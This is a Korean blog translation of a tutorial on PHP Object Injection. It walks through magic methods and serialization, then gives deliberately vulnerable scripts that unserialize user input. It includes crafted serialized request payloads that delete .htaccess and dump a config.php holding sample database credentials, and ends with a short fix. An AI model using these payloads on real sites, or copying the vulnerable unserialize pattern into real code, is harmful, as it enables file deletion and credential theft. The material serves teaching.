예전에 POI 관련 자료들 찾아보다가 국내에는 자세히 설명된 문서가 하나도 없는것 같아서 외국문서를 번역했었습니다.
혼자볼 용도로 작성했던거라 해석이 틀린부분이 있을수도 있고 난해한 부분이 존재할수도 있습니다.
원문을 참고하며 읽으시길 권장합니다. ( http://securitycafe.ro/2015/01/05/understanding-php-object-injection/ )
[ PHP Classes and Objects ]
PHP의 class와 object는 굉장히 간단하다. 예를 들어 아래의 코드는 변수와 메소드를 정의한 클래스이다.
<?php
class TestClass
{
// A variable
public $variable = 'This is a string';
// A simple method
public function PrintVariable()
{
echo $this->variable;
}
}
// Create an object
$object = new TestClass();
// Call a method
$object->PrintVariable();
?>
이것은 object를 생성하고 변수의 값을 출력하는 PrintVariable 함수를 호출한다.
[ PHP Magic Methods ]
PHP의 class는 magic function 이라는 특수한 function을 가지고 있다. Magic function의 이름은 __로 시작한다(ex. __construct, __destruct, __toString, __sleep, __wakeup)
이러한 function들은 아래의 상황에서 자동으로 호출된다.
- __construct 는 object가 생성될 때 호출된다. (생성자)
- __destruct 는 object가 사라질 때 호출된다. (소멸자)
- __toString 은 object가 문자열로 사용될 때 호출된다.
이러한 Magic method들이 어떠한 형태로 동작하는지 알아보기 위해 이전의 소스에 추가해보자.
<?php
class TestClass
{
// A variable
public $variable = 'This is a string';
// A simple method
public function PrintVariable()
{
echo $this->variable . '<br />';
}
// Constructor
public function __construct()
{
echo '__construct <br />';
}
// Destructor
public function __destruct()
{
echo '__destruct <br />';
}
// Call
public function __toString()
{
return '__toString<br />';
}
}
// Create an object
// Will call __construct
$object = new TestClass();
// Call a method
// Will print 'This is a string'
$object->PrintVariable();
// Object act as a string
// Will call __toString
echo $object;
// End of PHP script
// Will call __destruct
?>
위에서 볼 수 있듯이 __construct는 object가 생성될 때 호출되며 __destruct는 PHP Script가 끝날 때와 object가 사라질 때 호출된다. 그리고 __toString은 object가 문자열로 작용될 때 호출된다. echo 기능은 $object를 문자열로 취급할 것이며 __toString이 자동으로 호출될 것 이다. 이것의 결과는 아래와 같다.
__construct
This is a string
__toString
__destruct
이것이 기본적인 Magic method들의 개념이다.
[ PHP Object Serialization ]
PHP는 object serialization을 허용한다. Serialization은 object를 저장하고 나중에 재사용할 수 있게 해준다. 예를 들어 당신은 사용자의 정보가 담긴 object를 저장하고 나중에 재사용할 수 있다. object를 serialize 하기 위해서 serialize 함수가 필요하다. 이 함수는 당신이 나중에 unserialize 함수를 호출하여 object를 재생성할 때 사용하는 문자열 표현을 반환한다.
간단히 아래의 예제를 보자.
<?php
// Simple class definition
class User
{
// Class data
public $age = 0;
public $name = '';
// Print data
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age
. ' years old. <br />';
}
}
// Create a user
$usr = new User();
// Set user data
$usr->age = 20;
$usr->name = 'John';
// Print data
$usr->PrintData();
// Serialize object and print output
echo serialize($usr);
?>
결과는 아래와 같다.
User John is 20 years old.
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}
위에서 볼 수 있듯이 클래스 변수와 user set data 가 있다. 저기엔 method(PrintData)에 관련된게 없다. 오직 object data만 serialize 됐다. 이제 이것을 재사용하기 위해 unserialize 해보자.
<?php
// Simple class definition
class User
{
// Class data
public $age = 0;
public $name = '';
// Print data
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}
// Create a user
$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');
// Print data
$usr->PrintData();
?>
결과는 아래와 같다.
User John is 20 years old.
[ Serialization magic functions ]
__construct 와 __destruct 는 object가 생성/소멸할 때 자동으로 호출되는 반면 다른 Magic method 들은 object 를 serialize / unserialize 할 때 호출된다.
- __sleep 은 object 가 serialize 될 때 호출된다.
- __wakeup 은 object 가 deserialize 될 때 호출된다.
__sleep은 반드시 serialize 된 변수의 이름을 배열로 반환한다는 점에 주목하라.
이러한 기능이 어떻게 동작하는지 아래의 예제를 통해 알아보자.
<?php
class Test
{
public $variable = 'BUZZ';
public $variable2 = 'OTHER';
public function PrintVariable()
{
echo $this->variable . '<br />';
}
public function __construct()
{
echo '__construct<br />';
}
public function __destruct()
{
echo '__destruct<br />';
}
public function __wakeup()
{
echo '__wakeup<br />';
}
public function __sleep()
{
echo '__sleep<br />';
return array('variable', 'variable2');
}
}
// Create an object, will call __construct
$obj = new Test();
// Serialize object, will call __sleep
$serialized = serialize($obj);
// Print serialized string
print 'Serialized: ' . $serialized . <br />';
// Unserialize string, will call __wakeup
$obj2 = unserialize($serialized);
// Call PintVariable, will print data (BUZZ)
$obj2->PrintVariable();
// PHP script ends, will call __destruct for both objects($obj and $obj2)
?>
결과는 아래와 같다.
__construct
__sleep
Serialized: O:4:"Test":2:{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";}
__wakeup
BUZZ
__destruct
__destruct
[ PHP Object Injection ]
이제 우리는 serialization이 어떻게 동작하는지 알게 되었다. 그러나 이것으로 어떻게 exploit을 진행할까? 여기에는 많은 가능성들이 존재하는데 모든 것은 application의 흐름과 사용가능한 class/magic function 에 달려있다. 우리는 웹 어플리케이션의 소스코드에서 __wakeup 이나 __destruct 등이 정의된 것을 찾을 수 있다. 예를 들어 우리는 로그파일을 임시로 저장하는 클래스를 찾을 수 있다. 소멸할 때 object는 더 이상 로그파일이 필요하지 않기 때문에 이것을 삭제할 것이다.
<?php
class LogFile
{
// Specify log filename
public $filename = 'error.log';
// Some code
public function LogData($text)
{
echo 'Log some data: ' . $text . '<br />';
file_put_contents($this->filename, $text, FILE_APPEND);
}
// Destructor that deletes the log file
public function __destruct()
{
echo '__destruct deletes "' . $this->filename . '" file. <br />';
unlink(dirname(__FILE__) . '/' . $this->filename);
}
}
?>
다음은 이것의 사용 예 이다.
<?php
include 'logfile.php';
// Create an object
$obj = new LogFile();
// Set filename and log data
$obj->filename = 'somefile.log';
$obj->LogData('Test');
// Destructor will be called and 'somefile.log' will be deleted
?>
다른 스크립트에서 우리는 유저가 제공한 데이터를 unserialize 하는 모습을 볼 수 있다.
<?php
include 'logfile.php';
// ... Some other code that uses LogFile class ...
// Simple class definition
class User
{
// Class data
public $age = 0;
public $name = '';
// Print data
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}
// Unserialize user supplied data
$usr = unserialize($_GET['usr_serialized']);
?>
여기서 알 수 있듯이 위 코드는 LogFile 클래스를 사용한다. 해당 클래스에서는 유저가 제공한 데이터를 unserialize 하고 이 부분이 인젝션 포인트이다. 유효한 요청은 다음과 같다.
script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}
만약 우리가 serialize 된 LogFile object 대신 User object를 보내면 어떻게 될까?
아무런 제약이 없기 때문에 우리가 원하는 serialize된 object를 보낼 수 있다.
먼저 serialize 된 LogFile object를 만들어보자.
<?php
$obj = new LogFile();
$obj->filename = '.htaccess';
echo serialize($obj) . '<br />';
?>
결과는 아래와 같다.
O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";}
__destruct deletes ".htaccess" file.
이제 serialize 된 LogFile object를 통해 요청해보자.
script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";}
결과는 아래와 같다.
__destruct deletes ".htaccess" file.
이제 .htaccess 파일은 삭제됐다. 이것이 가능한 이유는 __destruct 기능이 자동으로 호출되고 우리가 LogFile class 변수에 접근할 수 있기 때문이다. 그래서 우리는 filename을 원하는 값으로 지정할 수 있다.
이것이 취약점의 이름이 Object Injection 인 이유다. Code Execution 또는 공격자가 원하는 행동을 하기 위해 정상적인 serialize object 대신 다른 object를 인젝션하는 것이다. 설사 이것이 좋은 예제가 아니라도 개념을 이해하기엔 충분할 것이다. unserialize 는 __wakeup 과 __destruct를 자동으로 호출하고 공격자는 class 변수들을 원하는 대로 조작할 수 있다.
[ Common Injection Points ]
기본적인 공격 포인트가 __wakeup 과 __destruct 에 달려있다고 하더라도 다른 공격 포인트도 존재한다. 모든 것은 Web application 의 코드흐름에 달려있다.
예를 들어 User class 는 프로그래머에게 object를 string으로 다룰 수 있도록 하기 위해 __toString 을 정의한다. 그러나 다른 class 들은 프로그래머에게 파일을 읽을 수 있도록 해당 메소드를 정의할 수 있다.
<?php
// ... In some other included file ...
class FileClass
{
// Filename variable
public $filename = 'error.log';
// Object used as a string displays the file contents
public function __toString()
{
return file_get_contents($this->filename);
}
}
// Main User class
class User
{
// Class data
public $age = 0;
public $name = '';
// Allow object to be used as a String
public function __toString()
{
return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}
// Expected: a serialized User object
$obj = unserialize($_GET['usr_serialized']);
// Will call __toString method of the unserialized object
echo $obj;
?>
유효한 요청은 User object를 serialize 할 것이다.
script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}
결과는 User의 정보를 나타낼 것이다.
User John is 20 years old.
만약 우리가 serialize 된 FileClass object를 사용하면 어떻게 될까? 다음과 같은 소스로 serialize 된 FileClass 를 만들 수 있다.
<?php
$fileobj = new FileClass();
$fileobj->filename = 'config.php';
echo serialize($fileobj);
?>
결과는 아래와 같다.
O:9:"FileClass":1:{s:8:"filename";s:10:"config.php";}
만약 이전 스크립트에서 지금과 같이 FileClass object를 호출하면 어떻게 될까?
script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php";}
그것은 아마 config.php 파일의 소스를 출력해줄 것이다.
<?php
$hostname = "localhost";
$user = "root";
$password = "apmsetup";
$dbname = "hide";
$q = mysql_connect($hostname, $user, $password) or die("db error");
mysql_select_db($dbname, $q) or die("db error2");
?>
스크립트가 echo $obj 를 호출할 때 우리가 FileClass object를 사용했기 때문에 이것은 FileClass object의 __toString 메소드를 호출할 것이고 결과적으로 우리가 원하는 파일을 읽고 출력해줄 것이다.
[ Other possible exploitation situations ]
이것은 또한 다른 Magic method들도 사용이 가능하다. __call 은 object가 function 를 호출할 때 자동으로 호출되며 __get / __set 은 object가 클래스변수에 접근할 때 호출된다.
그러나 공격포인트는 Magic method 에만 국한되지 않는다. 일반 function 들도 기본개념은 같다. 예를 들어 User class 가 유저의 정보를 검색하고 출력하기 위해 get 메소드를 정의해놨지만 다른 class 에서는 DB에서 정보를 얻는 용도로 정의해놨을 때 결과적으로 SQL Injection 취약점이 발생한다. 또는 set / write 메소드는 악의적인 코드를 쓸 수 있고 이것은 RCE까지 이어질 것이다.
[ How to fix and avoid it ]
유저의 입력값을 unserialize 하지 말고 json_decode 함수 사용을 권장한다.
[ Conclusion ]
취약한 부분을 찾는 것은 어려울 수 있고 그것을 exploit 까지 하는 것은 더 어려울 수 있다. 이것은 굉장히 위험한 취약점이다. 이것은 DOS, 악의적인 파일읽기, SQL Injection, RCE 등의 결과를 낳을 수 있다.
'Security' 카테고리의 다른 글
cURL Windows (0) | 2016.04.17 |
---|---|
2016 Codegate Hack No-Jam(Web) (0) | 2016.03.14 |
main() 호출과정 (0) | 2015.10.05 |
New Error Based SQL Injection in MySQL >= 5.7.5 (1) | 2015.04.05 |
Natas 11 (0) | 2015.03.05 |